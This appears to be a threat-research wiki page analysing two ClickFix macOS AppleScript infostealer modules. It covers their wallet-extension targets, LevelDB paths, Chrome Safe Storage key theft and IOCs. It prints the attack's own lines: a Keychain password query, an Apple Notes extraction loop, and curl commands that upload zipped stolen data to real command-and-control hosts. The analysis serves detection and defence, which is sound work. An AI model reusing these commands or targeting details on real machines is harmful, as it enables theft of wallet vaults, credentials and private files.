WikifitaGitHub live67e8de5
pesquisa · clickfix/clickfix-stealers

ClickFix — Infostealer Modules (smodule + lmodule)

Full and light AppleScript stealer variants: 60 wallet extension targets, LevelDB strategy, Chrome Safe Storage attack, variant comparison, attribution significance.

Baixar raw

ClickFix — Infostealer Modules (smodule + lmodule)

Two stealer variants: smodule (195 KB, full sweep) and lmodule (168 KB, light/fast). Both target 60 cryptocurrency wallet extensions via LevelDB, with Chrome Safe Storage key theft as the decryption primitive.

See also: clickfix-handoff | clickfix-c2-bot | clickfix-iocs


1. Overview

VariantSizeCommandCapabilitiesExecution Time
smodule195 KBrunloaderWallets + Desktop + Documents + Notes34–360s
lmodule168 KBrunlightWallets only8–35s

Both are streamed from C2 and piped to osascript — no file written to disk.


2. Wallet Extension Targets (60)

The stealer contains a hardcoded dictionary mapping wallet names to Chrome/Brave Extension IDs:

#WalletExtension IDNetwork
1MetaMasknkbihfbeogaeaoehlefnkodbefgpgknnEthereum/EVM
2Trust WalletegjidjbpglichdcondbcbdnbeeppgdphMulti-chain
3PhantombfnaelmomeimhlpmgjnjophhpkkoljpaSolana/Multi
4SolflarebhhhlbepdkbapadjdnnojkbgioiodbicSolana
5OKX WalletmcohilncbfahbmgdjkbpemcciiolgcgeMulti-chain
6ZerionklghhnkeealcohjjanjjdaeeggmfmlplMulti-chain DeFi
7Leather (Hiro)ldinpeekobnhjjdofggfgjkpckbacjfmBitcoin/Stacks
8TronLinkibnejdfjmmkpcnlpebklmnkoeoihofecTron
9MathWalletafbcbjpbpfadlkmhmclhkeeodmamcflcMulti-chain
10Coin98aeachknmefphepccionboohckonoeemgMulti-chain
11Bitget WalletjiidiaalihmmhdlpbddfodddkldfajbbMulti-chain
12Atomic WalletbhghoamapcdpbohphigoooaddinpkbaiMulti-chain
13Gate.io WalletcpmkpbmlgnkgmelbokglmbkiokeidbbaMulti-chain
14Braavosjnlgamecbplifkjkellooofy0fo95bciStarknet
15TON WalletnphplpgoakhhjchkkhmiggakijnkhfndTON

...and 45 more covering: Finnie, Crypto.com DeFi, InspectCrypto, Razor, ZilPay, Kardiachain, Ultra, Cyano, Ctrl, CLV, Fewcha, Surf, MyTon, OpenMask, Oxygen Atomic, NC Wallet, ROSE, EVER, Ready, XDCPay, Slope, NeoLine, BlockWallet, Sui (Suiet), Petra, Pontem, Sender, Vanta, iWallet, Martian, Zappit, CWallet, Pali, SUKU, Polymesh, Casper, Bitverse, Cosmostation, Forhole X, ICONex, BitMask, TezBox, XcelPay, Beam, Stargazer.

The breadth covers Ethereum/EVM, Solana, Bitcoin, Aptos, Sui, TON, Tron, Cosmos, and a dozen other ecosystems. This is purpose-built crypto theft with extensive research behind it.


3. LevelDB Targeting Strategy

Chrome stores extension data (including encrypted wallet vaults) in LevelDB databases at:

~/Library/Application Support/Google/Chrome/Default/Local Extension Settings/<extension_id>/
~/Library/Application Support/Brave Browser/Default/Local Extension Settings/<extension_id>/

The .ldb and .log files contain encrypted wallet vaults. Without the Chrome Safe Storage key, contents are AES-256-GCM encrypted blobs. With the key + raw files → complete decryption offline.

Skip List Analysis

The skip list reveals hands-on knowledge of Chrome internals:

SkippedReason
.DS_StoremacOS metadata
PartitionsChrome internal partition data
Code CacheJS bytecode — large, no wallet data
CacheHTTP cache — large, no wallet data
journalsLevelDB WAL — redundant if .ldb copied
PreviewsTab preview images
dumpsCrash dumps
emojiEmoji cache
user_dataGeneric user data

This is not a generic directory crawler — it is purpose-built for wallet extraction.


4. Chrome Safe Storage Attack

Chrome encrypts extension storage with:

AES-256-GCM(data, key=PBKDF2(password="Chrome Safe Storage key", salt="saltysalt", iterations=1003, dklen=16))

The raw key is in macOS Keychain under service Chrome Safe Storage. The stealer attempts:

do shell script "security find-generic-password -wa 'Chrome Safe Storage'"

If the user approves the Keychain prompt → attacker gets the decryption key → all wallet vaults decryptable offline. If denied → LevelDB files remain encrypted blobs.


5. Additional Targets (smodule only)

Desktop & Documents Sweep

  • Iterates both directories
  • Copies files below size threshold (to avoid large video files)
  • Targets: screenshots (seed phrases), PDFs, text files, wallet backups

Apple Notes Exfiltration

tell application "Notes"
    repeat with theFolder in every folder
        repeat with theNote in every note of theFolder
            -- Extract note content to staging dir
        end repeat
    end repeat
end tell

Targets: seed phrases stored in Notes, wallet recovery info, passwords.


6. Upload Pipeline (shared)

-- ZIP creation
do shell script "ditto -c -k --sequestRsrc " & stagingDir & " " & zipPath

-- Primary upload
do shell script "curl -s -X POST 'https://sj98xe4.xyz/upload.php' -F 'file=@" & zipPath & "'"

-- Fallback
do shell script "curl -s -X POST 'http://62.60.226.50/upload.php' -F 'file=@" & zipPath & "'"

7. Variant Comparison

Capabilitysmodulelmodule
Wallet LevelDB sweep (60+)YesYes
Chrome Safe Storage attackYesYes
Desktop sweepYesNo
Documents sweepYesNo
Apple Notes exfilYesNo
ZIP + uploadYesYes
Execution time34–360s8–35s
TCC prompt riskHighLow
Typical archive size5–100 MB1–10 MB

lmodule is 4–10x faster than smodule.


8. Operational Decision Framework

flowchart TD
    A[Victim connects] --> B{Confirmed crypto holder?}
    B -->|No| C[No immediate dispatch]
    B -->|Yes| D{Time sensitivity?}
    D -->|Victim may notice| E[runlight — fast grab]
    D -->|Safe window| F{Deep intel needed?}
    F -->|Yes| G[runloader — full sweep]
    F -->|No| G
ScenarioModuleRationale
Victim browsing, may noticelmodule<60s execution
Victim away from machinesmoduleFull sweep, no user present
High-value target (>$10K)smoduleMaximize collection
Wide-net triagelmoduleFast qualification
Need seed phrase screenshotssmoduleDesktop/Documents may have them

9. Attribution Significance

Maintaining two distinct variants suggests:

  1. Organized operation — active development and operational doctrine
  2. Operator trainingrunlight command implies instructed usage
  3. Campaign maturity — tooling refined for different operational tempos
  4. Continued development — stub ledger module indicates new capabilities in progress

10. Stolen vs. Blocked Impact

DatasmodulelmoduleNotes
Chrome Safe Storage keyBlocked (user denied)BlockedKey vaults remain encrypted
Wallet LevelDB filesExfiltrated (encrypted)Exfiltrated (encrypted)Useless without Safe Storage key
Desktop filesNot accessedN/A
DocumentsNot accessedN/A
Apple NotesAttemptedN/A
Staging ZIPCreated, uploadedCreated, uploaded

11. IOCs

TypeValueNotes
Dispatch commandrunloader / runlightTask poll response
Upload primarysj98xe4.xyz/upload.phpShared
Upload fallback62.60.226.50/upload.phpShared
Temp ZIP/tmp/<random-uuid>.zipAuto-deleted after upload
Keychain querysecurity find-generic-password -wa 'Chrome Safe Storage'Behavioral IOC
Chrome path~/Library/Application Support/Google/Chrome/Default/Local Extension Settings/Access pattern

Source: redhat-clickfix-report/docs/05_stage4_smodule.md + docs/06_stage4_lmodule.md